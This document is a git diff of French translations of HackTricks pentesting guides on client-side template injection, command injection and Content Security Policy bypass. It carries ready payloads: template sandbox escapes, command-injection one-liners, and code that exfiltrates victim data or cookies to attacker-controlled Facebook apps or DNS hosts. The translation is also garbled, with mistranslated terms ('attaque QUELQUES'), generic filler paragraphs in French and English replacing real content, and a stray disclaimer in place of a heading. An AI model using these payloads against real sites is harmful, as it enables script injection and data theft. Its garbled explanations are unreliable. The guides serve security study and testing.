**Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -15,15 +15,15 @@ Autres façons de soutenir HackTricks : # Résumé -C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/) mais côté **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript** arbitraire sur la victime. +C'est comme une [**Injection de modèle côté serveur**](ssti-server-side-template-injection/) mais côté **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript arbitraire** sur la victime. -La manière de **tester** cette vulnérabilité est très **similaire** à celle du **SSTI**, l'interpréteur s'attendra à quelque chose à exécuter **entre doubles accolades** et l'exécutera. Par exemple en utilisant quelque chose comme : `{{ 7-7 }}` si le serveur est **vulnérable** vous verrez un `0` et sinon vous verrez l'original : `{{ 7-7 }}` +La manière de **tester** cette vulnérabilité est très **similaire** à celle du **SSTI**, l'interpréteur s'attendra à quelque chose à exécuter **entre doubles clés** et l'exécutera. Par exemple en utilisant quelque chose comme : `{{ 7-7 }}` si le serveur est **vulnérable** vous verrez un `0` et sinon vous verrez l'original : `{{ 7-7 }}` # AngularJS AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, dont une notable est **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript entre doubles accolades. -Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté : +Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -40,7 +40,7 @@ Vous pouvez trouver un exemple en ligne très **basique** de la vulnérabilité # VueJS -Vous pouvez trouver une implémentation **vue.js vulnérable** sur [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ +Vous pouvez trouver une implémentation **vue.js** vulnérable sur [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\ Charge utile fonctionnelle: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) Et le **code source** de l'exemple vulnérable est ici: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) @@ -48,7 +48,7 @@ Et le **code source** de l'exemple vulnérable est ici: [https://github.com/azu/ ">
aaa
``` -Un très bon article sur CSTI dans VUE peut être trouvé sur [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Un très bon article sur CSTI en VUE peut être trouvé sur [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ## **V3** ``` @@ -95,8 +95,8 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. diff --git a/pentesting-web/command-injection.md b/pentesting-web/command-injection.md index f5eb3ca59..2f266346e 100644 --- a/pentesting-web/command-injection.md +++ b/pentesting-web/command-injection.md @@ -1,4 +1,4 @@ -# Injection de Commande +# Injection de commandes
@@ -9,27 +9,27 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Qu'est-ce que l'injection de commande ? +## Qu'est-ce que l'injection de commandes ? -Une **injection de commande** permet l'exécution de commandes système arbitraires par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent. +Une **injection de commandes** permet l'exécution de commandes système arbitraires par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent. ### Contexte -En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes. +En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. -## Injection/Exécution de Commande +## Injection/Exécution de commandes ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -50,7 +50,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Contournement des limitations** -Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **contournements :** +Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **contournements :** {% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) @@ -154,7 +154,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 7f3096a40..ef9af788b 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -22,7 +22,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb Engagez-vous avec du contenu qui explore le frisson et les défis du piratage **Actualités de piratage en temps réel**\ -Restez à jour avec le monde du piratage en constante évolution grâce aux actualités et aux informations en temps réel +Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme @@ -39,7 +39,7 @@ La mise en œuvre de la CSP est réalisée via des **en-têtes de réponse** ou ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Implémenté via balise meta : +- Implémenté via la balise meta : ```xml ``` @@ -105,7 +105,7 @@ object-src 'none'; * `blob:`: Autorise le chargement de ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript). * `filesystem:`: Autorise le chargement de ressources à partir du système de fichiers. * `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage). -* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées). +* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées). * `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin. * `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité. @@ -140,7 +140,7 @@ Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS ```yaml Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` -Payload de travail: +Charge utile de travail : ```markup "/>'> "/>'> @@ -169,7 +169,7 @@ Charge utile fonctionnelle : ```markup "/>'> ``` -Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**. +Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra de **télécharger qu'un type spécifique de fichiers**. De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***. @@ -264,18 +264,18 @@ https://www.youtube.com/oembed?callback=alert; La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance. ### Abus de tiers -Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont : +Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour exfiltrer des données ou exécuter du code JavaScript. Certains de ces tiers sont : -| Entité | Domaine Autorisé | Capacités | +| Entité | Domaine autorisé | Capacités | |--------|------------------|------------| -| Facebook | www.facebook.com, *.facebook.com | Exfil | -| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil | -| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec | -| Amazon CloudFront | *.cloudfront.net | Exfil, Exec | -| Amazon AWS | *.amazonaws.com | Exfil, Exec | -| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec | -| Salesforce Heroku | *.herokuapp.com | Exfil, Exec | -| Google Firebase | *.firebaseapp.com | Exfil, Exec | +| Facebook | www.facebook.com, *.facebook.com | Exfiltration | +| Hotjar | *.hotjar.com, ask.hotjar.io | Exfiltration | +| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exécution | +| Amazon CloudFront | *.cloudfront.net | Exfiltration, Exécution | +| Amazon AWS | *.amazonaws.com | Exfiltration, Exécution | +| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfiltration, Exécution | +| Salesforce Heroku | *.herokuapp.com | Exfiltration, Exécution | +| Google Firebase | *.firebaseapp.com | Exfiltration, Exécution | Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code. @@ -283,34 +283,40 @@ Par exemple, si vous trouvez la CSP suivante : ``` Content-Security-Policy​: default-src 'self’ www.facebook.com;​ ``` -```markdown -## Contournement de la stratégie de sécurité du contenu (CSP) +# Contournement de la politique de sécurité du contenu (CSP) -Lorsqu'un site Web met en œuvre une stratégie de sécurité du contenu (CSP) pour limiter les types de contenu exécutables sur une page Web, il est possible de contourner ces restrictions en exploitant des vulnérabilités spécifiques. +--- -### Contournement de CSP via les directives `unsafe-inline` et `unsafe-eval` +## Contournement de la CSP basique -Les directives `unsafe-inline` et `unsafe-eval` dans une CSP permettent respectivement l'exécution de scripts en ligne et l'évaluation de code JavaScript à partir de chaînes. Ces directives peuvent être exploitées pour contourner la CSP en injectant du code malveillant directement dans le contenu autorisé. +La CSP basique peut être contournée de différentes manières, notamment en utilisant des techniques telles que l'inclusion de scripts externes, l'utilisation de la directive `unsafe-inline`, l'utilisation de `eval()` et d'autres méthodes d'exécution de code dynamique. -### Contournement de CSP via les attaques de type XSS +## Contournement de la CSP avec des scripts externes -Les attaques de type XSS (Cross-Site Scripting) peuvent également être utilisées pour contourner une CSP en injectant du code JavaScript malveillant dans une page Web. En exploitant des failles XSS, un attaquant peut contourner les restrictions de la CSP et exécuter du code arbitraire sur le site ciblé. +L'une des façons les plus courantes de contourner une CSP est d'utiliser des scripts externes hébergés sur des domaines approuvés par la CSP. Cela permet d'exécuter du code JavaScript sans enfreindre la CSP. -Il est essentiel pour les développeurs de sites Web de comprendre ces techniques de contournement de CSP et de mettre en œuvre des mesures de sécurité appropriées pour protéger leurs applications contre de telles attaques. -``` +## Contournement de la CSP avec l'utilisation de `unsafe-inline` + +En autorisant l'utilisation de `unsafe-inline`, il est possible d'exécuter du code JavaScript directement dans le contexte de la page, contournant ainsi les restrictions de la CSP. + +## Contournement de la CSP avec l'utilisation de `eval()` + +L'utilisation de la fonction `eval()` pour exécuter du code JavaScript peut contourner la CSP en permettant l'exécution de code dynamique à partir de chaînes de caractères. + +--- + +Ces techniques de contournement de la CSP peuvent être utilisées par des attaquants pour exécuter du code malveillant sur un site web, contournant ainsi les mesures de sécurité mises en place par la CSP. Il est important de comprendre ces techniques afin de mieux protéger les applications web contre les attaques potentielles. ``` Content-Security-Policy​: connect-src www.facebook.com;​ ``` -Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales : - -1. Créez un compte développeur Facebook ici. -1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web". +1. Créez un compte développeur Facebook [ici](https://developers.facebook.com/). +1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web". 1. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application". 1. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données. -1. Allez dans votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events -1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web. +1. Accédez à votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events). +1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par votre site web. -Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers le compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme ceci : +Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application du compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme suit : ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ @@ -329,7 +335,7 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP. -Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`. +Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`. En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**. @@ -337,18 +343,18 @@ La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une i Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) -### Exécution de JS dans les iframes +### Exécution de JS via des iframes {% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md) {% endcontent-ref %} -### manquant **base-uri** +### **base-uri** manquant -Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/). +Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/). -De plus, si la **page charge un script en utilisant un chemin relatif** (comme `` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\ +Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\ Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## Contournements de l'exfiltration CSP +## Contournements d'exfiltration CSP -S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer l'information. +S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations. ### Location @@ -650,29 +656,29 @@ var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` -### Bypassing Content Security Policy (CSP) +## Bypassing Content Security Policy (CSP) --- -#### Introduction +### Introduction -Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, in some cases, it is possible to bypass CSP protections using various techniques. +Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques. -#### Bypassing CSP using `unsafe-inline` +### Bypassing CSP using `unsafe-inline` -One common way to bypass CSP is by using the `unsafe-inline` directive in the CSP header. This directive allows the execution of inline scripts and styles, which can be exploited by an attacker to execute malicious code. +One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP. While this method can be effective, it also introduces security risks by allowing potentially malicious code to run on the page. -#### Bypassing CSP using data: URIs +### Bypassing CSP using `unsafe-eval` -Another way to bypass CSP is by using data: URIs to embed resources directly into the HTML document. By using data: URIs, an attacker can load resources without triggering CSP violations. +Another method to bypass CSP is by using the `unsafe-eval` keyword in the CSP header. This allows the execution of code generated by `eval()` functions, which are typically blocked by CSP. Similar to `unsafe-inline`, using `unsafe-eval` can open up security vulnerabilities on the website. -#### Bypassing CSP using dynamic script injection +### Bypassing CSP using Data URI -CSP can also be bypassed by dynamically injecting scripts into the DOM using techniques such as `eval()` or `document.write()`. By dynamically injecting scripts, an attacker can execute arbitrary code without triggering CSP violations. +Data URIs can also be used to bypass CSP restrictions. By encoding the script or style data in a Data URI format, it may be possible to execute the code despite CSP settings. This technique can be effective in certain scenarios where other methods fail. -#### Conclusion +### Conclusion -While CSP is a powerful security mechanism, it is not foolproof, and there are ways to bypass it using various techniques. Web developers should be aware of these bypass techniques and implement additional security measures to protect their web applications from attacks. +While Content Security Policy is a valuable security measure, it is not foolproof. It is important for developers and security professionals to be aware of potential bypass techniques in order to strengthen the overall security posture of web applications. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; @@ -691,15 +697,13 @@ Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête ( Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP. -En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code: +En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code : ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` ### Autre option : -Translate to French: - -### Autre option : +Le contenu de ce répertoire est destiné à des fins éducatives et de recherche uniquement. ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -735,16 +739,16 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! -**Perspectives de piratage**\ +**Perspectives sur le piratage**\ Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage -**Actualités de piratage en temps réel**\ +**Actualités sur le piratage en temps réel**\ Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations **Dernières annonces**\ -Restez informé des dernières primes au bug lancées et des mises à jour cruciales de la plateforme +Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! @@ -754,10 +758,10 @@ Restez informé des dernières primes au bug lancées et des mises à jour cruci Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 7da2ae5a2..0ce6c5e60 100644 --- a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -1,14 +1,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) 